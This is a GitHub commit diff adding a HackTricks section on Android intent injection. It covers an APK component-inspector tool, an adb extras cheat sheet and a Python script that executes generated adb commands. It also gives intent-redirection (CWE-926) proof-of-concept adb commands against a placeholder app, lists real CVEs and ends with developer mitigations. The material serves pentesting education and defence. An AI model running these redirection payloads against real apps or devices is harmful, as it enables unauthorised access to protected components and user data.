Skip to content

Commit 773ac41

Browse files
authored
Merge pull request #1419 from HackTricks-wiki/update_Automating_Android_App_Component_Testing_with_New__20250918_124518
Automating Android App Component Testing with New APK Inspec...
2 parents 395ecdf + 946268e commit 773ac41

File tree

1 file changed

+155
-0
lines changed

1 file changed

+155
-0
lines changed

src/mobile-pentesting/android-app-pentesting/intent-injection.md

Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,11 +58,166 @@ Mitigations
5858
- startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed.
5959
- Exported proxy components that forward Intents to non-exported sensitive components without permission checks.
6060

61+
---
62+
63+
## Automating exported-component testing (Smali-driven ADB generation)
64+
65+
When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.
66+
67+
Tool: APK Components Inspector
68+
- Repo: https://github.com/thecybersandeep/apk-components-inspector
69+
- Approach: decompile and scan Smali for calls like `getStringExtra("key")`, `getIntExtra("id", ...)`, `getParcelableExtra("redirect_intent")`, `getSerializableExtra(...)`, `getBooleanExtra(...)`, `getAction()`, `getData()` to infer which extras and fields are consumed by each component.
70+
- Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact `adb shell am ...`/`cmd content ...` command with correctly typed flags.
71+
72+
Install
73+
```bash
74+
git clone https://github.com/thecybersandeep/apk-components-inspector
75+
cd apk-components-inspector
76+
python3 -m venv venv && source venv/bin/activate
77+
pip install androguard==3.3.5 rich
78+
```
79+
80+
Usage
81+
```bash
82+
python apk-components-inspector.py target.apk
83+
```
84+
Example output
85+
```bash
86+
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
87+
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
88+
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
89+
adb shell cmd content query --uri content://com.target.provider/items
90+
```
91+
92+
ADB am extras cheat sheet (type-aware flags)
93+
- Strings: `--es key value` | String array: `--esa key v1,v2`
94+
- Integers: `--ei key 123` | Int array: `--eia key 1,2,3`
95+
- Booleans: `--ez key true|false`
96+
- Longs: `--el key 1234567890`
97+
- Floats: `--ef key 1.23`
98+
- URIs (extra): `--eu key content://...` | Data URI (Intent data): `-d content://...`
99+
- Component extra: `--ecn key com.pkg/.Cls`
100+
- Null string extra: `--esn key`
101+
- Common flags: `-a <ACTION>` `-c <CATEGORY>` `-t <MIME>` `-f <FLAGS>` `--activity-clear-task --activity-new-task`
102+
103+
Pro tips for Providers
104+
- Use `adb shell cmd content query|insert|update|delete ...` to hit ContentProviders without agents.
105+
- For SQLi probing, vary `--projection` and `--where` (aka selection) when the underlying provider is SQLite-backed.
106+
107+
Full-pipeline automation (interactive executor)
108+
```bash
109+
# generate and capture commands then execute them one by one interactively
110+
python apk-components-inspector.py app.apk | tee adbcommands.txt
111+
python run_adb_commands.py
112+
```
113+
Helper script (merges continued lines, executes only lines starting with `adb`):
114+
```python
115+
import subprocess
116+
117+
def parse_adb_commands(file_path):
118+
with open(file_path, 'r') as file:
119+
lines = file.readlines()
120+
commands = []
121+
current = []
122+
for line in lines:
123+
s = line.strip()
124+
if s.startswith("adb "):
125+
current = [s]
126+
elif s.startswith("#") or not s:
127+
if current:
128+
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
129+
commands.append(full)
130+
current = []
131+
elif current:
132+
current.append(s)
133+
if current:
134+
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
135+
commands.append(full)
136+
return commands
137+
138+
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
139+
print(f"\nCommand {i}: {cmd}")
140+
input("Press Enter to execute this command...")
141+
try:
142+
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
143+
print("Output:\n", r.stdout)
144+
if r.stderr:
145+
print("Errors:\n", r.stderr)
146+
except subprocess.CalledProcessError as e:
147+
print(f"Command failed with error:\n{e.stderr}")
148+
```
149+
Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.
150+
151+
---
152+
153+
## Intent Redirection (CWE-926) – finding and exploiting
154+
155+
Pattern
156+
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
157+
- `startActivity(getIntent())`
158+
- `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
159+
- Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.
160+
161+
What to search in Smali/Java
162+
- Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
163+
- Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
164+
- Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.
165+
166+
ADB PoC templates
167+
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
168+
```bash
169+
adb shell am start -n com.target/.ProxyActivity \
170+
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
171+
```
172+
- Exported Service that honors a `redirect_intent` parcelable:
173+
```bash
174+
adb shell am startservice -n com.target/.ExportedService \
175+
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
176+
```
177+
- Exported Receiver that relays without validation:
178+
```bash
179+
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
180+
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
181+
```
182+
Flags helpful for singleTask-style behavior
183+
```bash
184+
# Ensure a fresh task when testing Activities that check task/intent flags
185+
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
186+
```
187+
188+
Real-world examples (impact varies):
189+
- CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
190+
- CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects.
191+
- CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
192+
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
193+
- CVE-2021-4438 (React Native SMS User Consent).
194+
- CVE-2020-14116 (Xiaomi Mi Browser).
195+
196+
Mitigations (developer checklist)
197+
- Do not forward incoming Intents directly; sanitize and re-construct allowed fields.
198+
- Restrict exposure with `android:exported="false"` unless necessary. Protect exported components with permissions and signatures.
199+
- Verify caller identity (`getCallingPackage()`/`getCallingActivity()`), and enforce explicit Intents for intra-app navigation.
200+
- Validate both `action` and `data` (scheme/host/path) before use; avoid `Intent.parseUri` on untrusted input.
201+
202+
---
203+
61204
## References
62205

63206
- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
64207
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
65208
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
66209
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
210+
- [Automating Android App Component Testing with New APK Inspector (blog)](https://www.mobile-hacker.com/2025/09/18/automating-android-app-component-testing-with-new-apk-inspector/)
211+
- [APK Components Inspector – GitHub](https://github.com/thecybersandeep/apk-components-inspector)
212+
- [Google guidance on intent redirection](https://support.google.com/faqs/answer/9267555?hl=en)
213+
- [OVAA vulnerable app](https://github.com/oversecured/ovaa)
214+
- [Exported Service PoC APK](https://github.com/nhattm3006/android-poc/blob/main/Exported%20Service/poc.apk)
215+
- [Ostorlab – 100M installs image app deep dive (component summary example)](https://medium.com/@ostorlab/this-article-is-a-technical-deep-dive-showing-how-a-100m-installation-image-application-can-6343ce8ea076)
216+
- [CVE-2024-26131 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-26131)
217+
- [CVE-2023-44121 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-44121)
218+
- [CVE-2023-30728 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-30728)
219+
- [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
220+
- [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
221+
- [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
67222

68223
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)